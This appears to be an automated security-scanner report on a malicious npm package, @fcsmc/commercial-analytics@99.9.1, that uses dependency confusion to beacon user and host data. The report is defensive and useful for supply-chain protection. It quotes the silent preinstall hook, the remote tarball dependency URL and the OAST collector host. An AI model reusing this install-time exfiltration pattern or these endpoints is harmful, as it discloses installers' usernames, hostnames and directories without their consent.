registry / Data exfiltration / @fcsmc/commercial-analytics
@fcsmc/commercial-analytics
This report shows the evidence for @fcsmc/commercial-analytics@99.9.1, the only known version.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 4d ago · by lpm-firewall-aiThe manifest’s remote dependency has an active preinstall hook that collects identifying host and user values and sends them to an unrelated OAST endpoint. This is an unconsented installation beacon, so publication should be blocked.
Static reason
One or more suspicious static signals were detected.
Trigger
Installation of this package, which installs its remote dependency and runs that dependency's preinstall hook.
Impact
The collector receives identifying information and the installer’s network source address without installer consent.
Mechanism
The hook runs test.js, which hex-encodes the username, hostname, and home directory and places each value in a subdomain of an OAST host used for HTTP requests.
Attack narrative
Installing the package installs a remote dependency whose preinstall script runs test.js. That script sends hex-encoded username, hostname, and home-directory values in HTTP requests to an OAST collector, creating an automatic installation-time disclosure.
AI rationale
The manifest’s remote dependency has an active preinstall hook that collects identifying host and user values and sends them to an unrelated OAST endpoint. This is an unconsented installation beacon, so publication should be blocked.
Evidence
package.json.lpm-dependency-evidence-adaf5548-1be1-4998-9e7a-65b3919ae196/0/npm-linux/package.json.lpm-dependency-evidence-adaf5548-1be1-4998-9e7a-65b3919ae196/0/npm-linux/test.js.lpm-dependency-evidence-adaf5548-1be1-4998-9e7a-65b3919ae196/0/npm-linux/index.js
Network endpoints1
fcsmc-commercial-analytics.6gn7s5ffv5w0rrb1h3te4qp5zw5otgh5.oastify.com
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json declares the remote ltidisafe tarball dependency.
- The dependency runs test.js automatically during preinstall.
- test.js encodes the username, hostname, and home directory, then sends each value in a request to an OAST host.
- index.js performs the outbound HTTP GET for the supplied URL.
Evidence against
Behavioral surface
Trivial
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
10"ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.8.tgz"
},
"author": "",
"license": "ISC"
}
High
Suspicious Dependency Evidence
package.json declares the remote ltidisafe tarball dependency.
package.jsonView on unpkg · L10•Remote tarball dependency specs: ltidisafe@https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.8.tgz
Medium
Remote Tarball Dependency
Package manifest contains a dependency pinned to a remote tarball URL.
package.jsonView on unpkg.lpm-dependency-evidence-adaf5548-1be1-4998-9e7a-65b3919ae196/0/npm-linux/package.jsonView file
7"preinstall": "node test.js > /dev/null 2>&1",
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC"
}
Findings
7 High1 Medium1 Low
HighSuspicious Dependency Evidencepackage.json
HighSuspicious Dependency Evidence.lpm-dependency-evidence-adaf5548-1be1-4998-9e7a-65b3919ae196/0/npm-linux/package.json
HighAi Review Evidence.lpm-dependency-evidence-adaf5548-1be1-4998-9e7a-65b3919ae196/0/npm-linux/test.js
HighAi Review Evidence.lpm-dependency-evidence-adaf5548-1be1-4998-9e7a-65b3919ae196/0/npm-linux/test.js
HighAi Review Evidence.lpm-dependency-evidence-adaf5548-1be1-4998-9e7a-65b3919ae196/0/npm-linux/test.js
HighAi Review Evidence.lpm-dependency-evidence-adaf5548-1be1-4998-9e7a-65b3919ae196/0/npm-linux/test.js
HighAi Review Evidence.lpm-dependency-evidence-adaf5548-1be1-4998-9e7a-65b3919ae196/0/npm-linux/index.js
MediumRemote Tarball Dependencypackage.json
LowScripts Present
Affected versions and remediation
This report applies to @fcsmc/commercial-analytics@99.9.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing @fcsmc/commercial-analytics@99.9.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.